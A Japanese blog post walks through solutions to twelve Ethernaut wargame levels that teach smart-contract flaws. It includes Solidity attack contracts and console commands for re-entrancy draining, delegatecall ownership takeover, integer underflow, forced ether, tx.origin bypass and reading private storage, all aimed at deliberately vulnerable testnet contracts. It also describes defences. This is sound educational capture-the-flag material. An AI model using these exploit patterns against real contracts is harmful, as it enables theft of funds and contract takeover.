LoginSignup
34
14

More than 5 years have passed since last update.

スマートコントラクトの脆弱性を学べるEthernautをやってみた

Last updated at Posted at 2018-04-14

Ethernautって?

スマートコントラクトの脆弱性を実戦的に学べるサイトです。
https://ethernaut.zeppelin.solutions/

OpenZeppelinを作っている団体ですね。
CryptoZombieが終わったどうしよー って人はやってみてもいいかもしれません。

事前準備

Ethernautでも説明されますが、今回は以下を使いました

Ethernautの解き方

Ethernautは「Get new Instancce」ボタンを押すとRopsten上に自動的にコントラクトがデプロイされます。
基本的にはこのコントラクトを攻撃します。解き方は主に2種類です。

  • Chromeの検証>Consoleから用意されているコマンドで攻撃
  • 自身でコントラクトをデプロイして、コントラクト経由で攻撃

11問解いてみました

0.Hello Ethernaut

これはチュートリアルなので脆弱性とはあまり関係ないです。
脱出ゲームの要領で指示が次々と表示されます。

解答例

await contract.info();
await contract.info1();
await contract.info2("hello");
await contract.infoNum();
await contract.info42();
await contract.theMethodName();
await contract.method7123949();
await contract.password;
await contract.authenticate("ethernaut0");

最後にSubmit Instanceを押して、カラフルな出力がいっぱい出たらおしまいです。

1.Fallback

コントラクトの所有者になるためにフォールバック関数のrequireの条件をtrueにします。

解答例

await contract.contribute({value:1});
await contract.getContribution();
await sendTransaction({to:contract.address, value:1});
await contract.owner.call();
player;
await contract.withdraw();
await getBalance(contract.address);

1行目:1eth送ります。この時はmsg.dataがあるのでフォールバック関数は呼び出されません
2行目:cの値が1なのでcontributionsに登録されたことがわかります
3行目:Ethernautのユーティリティを使って1eth送ります
4-5行目:コントラクトのownerになれたか確認します。これはOpenZeppelinのownerを見ています
6行目:全額引き出します
7行目:0になっていればOK

フォールバック関数の仕様などは以下を参照してみてください。
Fallback Function
fallback関数をシンプルに保つ

2.Fallout

コンストラクタと関数の間違い探しですね。

解答例

await contract.Fal1out();
await contract.owner.call();

1行目:FalloutとすべきところをFal1outになっており、関数になってしまっています
2行目:自分がownerになっているか確認します

Rubixiが社名変更によって、リファクタリングを漏らした事件があったそうです。1

Solidityの0.4.23から記述方法が変わりましたので、そちらを使用します

contract Fallout is Ownable {
    constructor() public payable {
        // ...
    }
}

3.Coin Flip

block.numberやblockHashは乱数ではないので先読みされると結果がわかります。

ここ以降はRopstenネットワークにコントラクトをデプロイしなければ解けない問題があります。
詳しくは参考:コントラクトの作成〜デプロイまでを参照してください

解答例

CoinFlipのflip関数をそのまま実装しflip関数を呼び出します。
同じブロックハッシュを使用することになり結果が求められます。

AttackCoinFlip.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";

contract CoinFlip {
    function flip(bool _guess) public returns (bool);
}

contract AttackCoinFlip is Ownable {

    uint256 lastHash;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function cheatFlip(address _targetAddress) external onlyOwner {
        uint256 blockValue = uint256(block.blockhash(block.number-1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
        bool side = coinFlip == 1 ? true : false;

        CoinFlip targetCoinFlip = CoinFlip(_targetAddress);
        targetCoinFlip.flip(side);
    }
}

なお、ここで定義したCoinFlipは抽象的なコントラクトです。
デプロイ済みのアドレスを指定することで、実現関係になくとも対象のflip関数を呼び出せます。2

migrationファイルを作成(以降の問題では省略)

2_initial_attack_coin_flip.js
var CoinFlip = artifacts.require("./AttackCoinFlip.sol");

module.exports = function(deployer) {
  deployer.deploy(CoinFlip);
};

以下を10回繰り返します。

truffleコマンド
AttackCoinFlip.deployed().then(function(instance){return instance.cheatFlip(COIN_FLIP_ADDRESS)});

最後に10連勝の確認

Ethernaut
await contract.consecutiveWins.call();

4.Telephone

tx.originとmsg.senderが一致しないケースを考えます。
※もしGet new Instanceに失敗する場合は、Gas Limitを増やしてみてください。

解答例

コントラクトから関数を呼び出すとtx.originmsg.senderが異なります。3

AttackTelephone.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";

contract Telephone {
    function changeOwner(address _owner) public;
}

contract AttackTelephone is Ownable {

    function attackChangeOwner(address _telephoneAddress, address _newOwner) external onlyOwner {
        Telephone telephone = Telephone(_telephoneAddress);
        telephone.changeOwner(_newOwner);
    }

}

attackChangeOwnerの呼び出し

truffleコマンド
AttackTelephone.deployed().then(function(instance){return instance.attackChangeOwner(TELEPHONE_ADDRESS, PLAYER_ADDRESS)});

Ownerの確認

Ethernaut
await contract.owner.call();

5.Token

加算・減算のオーバフローかアンダーフローのチェックがないのでそこを突きます

解答例

await contract.balanceOf(player);
await contract.transfer(contract.address, 21);

1行目:所持しているトークンを確認します
2行目:所持しているトークン+1を引数に設定することでアンダーフローを引き起こす

totalSupplyよりも多くのトークンが発行されてしまいました。
オーバフロー、アンダーフローの原因になるので、SafeMathを使うと良いようです。

6.Delegation

delegatecallを利用してpwnを呼び出し、ownerになります

解答例

truffleコマンド
await contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});

delegatecallにより、player→Delegation→Detlegateで呼び出されます。msg.senderはplayerです。
msg.dataは関数の署名を含めることで、関数を呼び出せます。4
Parityの事例ではこの脆弱性を突かれたのだそうです。

7.Force

payableな関数持たないコントラクトにEtherを強制的に送りつけます

解答例

selfdestructは対象のコントラクトに強制的にEthを送りつけることができます。
これを回避する方法はないので、balance==0の仮定はNGです。

AttackForce.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract AttackForce is Ownable {

    function() external payable {

    }

    function kill(address _targetAddress) external onlyOwner {
        selfdestruct(_targetAddress);
    }

}

デプロイしたコントラクトに1Eth送ります。

truffle
AttackForce.deployed().then(function(instance){return instance.sendTransaction({value :1})});

Forceコントラクトにselfdestructを通じてEthを送ります。

truffle
AttackForce.deployed().then(function(instance){return instance.kill(FORCE_CONTRACT_ADDRESS)});

コントラクトのEthを確認します。

Ethernaut
await getBalance(contract.address); 

8.Vault

privateな状態変数であったとしても、中身を見る方法があるお話。

解答例

web3.eth.getStorageAtを使えば見ることができます。
今回はjavascriptで作りました。truffleのpet-shopを流用したのでコア部分以外は省略します。

app.js
    showPassword: function (contractAddress, position) {
        web3.eth.getStorageAt(contractAddress, position)
            .then(function (hexPassword) {
                var password = web3.utils.hexToAscii(hexPassword);
                console.log(password);
            });
    },

参考:ropstenに接続する方法

app.js
App.web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/');
web3 = new Web3(App.web3Provider);

showPasswordの呼び出し。

app.js
App.showPassword(CONTRACT_ADDRESS, 1);

「A very strong secret password :)」が表示されます。

Ethernaut
await contract.unlock('A very strong secret password :)');

lockedがfalseになったか確認

Ethernaut
await contract.locked.call();
> false

9.King

送金を失敗させてkingに新しいmsg.senderが代入されないようにします。

解答例

KingコントラクトにEthを送る関数のみ定義しました。
一方でこのコントラクトへの送金は失敗するように、payableなフォールバック関数は意図的に定義していません。

pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract AttackKing is Ownable {

    // function() external payable {}

    function attackKing(address _targetAddress) external payable onlyOwner {
        _targetAddress.call.value(msg.value)();
    }

}

今回はtargetAddress.call.value()()を使用しています。
transferは2300のgas上限(上限の変更不可)があるので今回は使用できません。
(Kingのフォールバック関数が状態変数に書き込む処理などを行っているためoutofgas例外が発生します)

prizeを確認します。

Ethernaut
await contract.prize.call();

prize以上(1Eth)を送ってkingになります。
(以上って処理はなんだか変ですが…)

truffle
AttackKing.deployed().then(function(instance){return instance.attackKing(CONTRACT_ADDRESS, {value:1000000000000000000})});

kingを確認します。

Ethernaut
await contract.prize.king();

metamaskなどで別アカウントから、Kingコントラクトに送金しても失敗します。

King of the Etherの事例

10.Re-entrancy

targetAddress.call.value(hoge)()はリエントラントに対して安全でない話(ガスの上限がtransferに比べて高いため)5

解答例

Reentrancedonatewithdrawを呼び出して一旦ethを預けて引き出します。
引き出す際にフォールバック関数が呼び出されるので、再度withdrawを呼び出し、ethがなくなるまで引き出し続けます。
transferEtherはOwnerがethを受け取ります。今回は使用しなくても良いです。

AttackReentrance.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract Reentrance {

    function donate(address _to) public payable;

    function withdraw(uint _amount) public;

}


contract AttackReentrance is Ownable {

    Reentrance private reentrance;

    function() public payable {
        reentrance.withdraw(0.1 ether);
    }

    function attackReentrance(address _targetAddress) external payable onlyOwner {
        reentrance = Reentrance(_targetAddress);
        reentrance.donate(address(this));
        reentrance.withdraw(msg.value);
    }

    function transferEther() external onlyOwner {
        owner.transfer(address(this).balance);
    }

}

0.1 ethを預けて引き出します。

truffle
AttackReentrance.deployed().then(function(instance){return instance.attackReentrance(CONTRACT_ADDRESS, {value:100000000000000000})});

balanceが0になったことを確認します。

Ethernaut
await getBalance(contract.address);
>0

The DAO事件はこの脆弱性を突かれました。

先にsenderの残高を減らして、ethのやり取りを行うことで回避できます。
使ったことはないですが、OpenZeppelinにはリエントラントを防ぐReentrancyGuardというのもあるようです。

11.Elevator

抽象的なコントラクトの制約の甘さを利用して、top==trueにします。

解答例

最初の呼び出し時はfalse、二度目の呼び出し時にtrueにします。
Building.isLastFloor関数はviewがついているので状態変数にはアクセスできないのですが、省略しても現状は呼び出せてしまうようです。
isLastFloorをスイッチする処理を書きます。

AttackElevator.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract Elevator {
    function goTo(uint) public;
}


contract AttackElevator is Ownable {

    bool public isLast = true;

    function attackElevator(address _elevatorAddress, uint _floor) external onlyOwner {
        Elevator elevator =  Elevator(_elevatorAddress);
        elevator.goTo(_floor);
    }

    function isLastFloor(uint) public returns (bool) {
        isLast = !isLast;
        return isLast;
    }

}

継承せずに抽象コントラクトを扱うので少し複雑に見えますが、goTo関数では呼び出し元(AttackElevator)がBuildingとして振る舞います。

attackElevatorを呼び出します。

truffle
AttackElevator.deployed().then(function(instance){return instance.attackElevator(CONTRACT_ADDRESS, 10)});

topがtrueになったことを確認します。

Ethernaut
await contract.top.call();

まとめ

正直なかなか難しかったです。何もなしに解くことは多分できなかったですね…
脆弱性だけでなく副産物としてデプロイ、Solidityの仕様もかなり学べました。
ほんと素晴らしいコンテンツ…!
新しい問題も随時追加されるかもしれないので、今後もぜひ注目していきましょう。

参考:コントラクトの作成〜デプロイまで

こちらを参考にしてます
USING INFURA (OR A CUSTOM PROVIDER)

INFURAに登録

INFURAに登録して、ノードのURLをもらいます

プロジェクトの作成

truffle init
npm init
npm install truffle-hdwallet-provider
npm install --save--exact zeppelin-solidity

npm inittruffle-config.jstruffle.jsに変えました。
zeppelin-solidityは任意です。

truffle.configの修正

var HDWalletProvider = require("truffle-hdwallet-provider");

var infura_apikey = "API_KEY";
var mnemonic = "hoge hoge hoge hoge";

module.exports = {
  // See <https://ethereum.stackexchange.com/questions/23279/steps-to-deploy-a-contract-using-metamask-and-truffle>
  networks: {
    development: {
      host: "localhost",
      port: 7545,
      network_id: "*" // Match any network id
    },
    ropsten: {
      provider: new HDWalletProvider(mnemonic, "https://ropsten.infura.io/"+infura_apikey),
      network_id: 3,
      gas: 4700000
    }
  }
};

infura_apikeymnemonicは置き換えてください。

コントラクト作成

コントラクトとmigrationのファイルを作ります。

コントラクトのデプロイ

truffle console --network ropsten
migrate --reset

完成

etherscanで確認してください

参考サイト

Vitalik氏がこれまで起こった脆弱性についてまとめています
Thinking About Smart Contract Security

問題の解答例
スマートコントラクトのCTF Ethernaut
追加問題の解答例
Solving the Ethernaut Coin Flip, Telephone & Vault challenges (solidity)
Ethernautの解答例
ethernaut/contracts/attacks/ - Github

注釈

34
14
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
34
14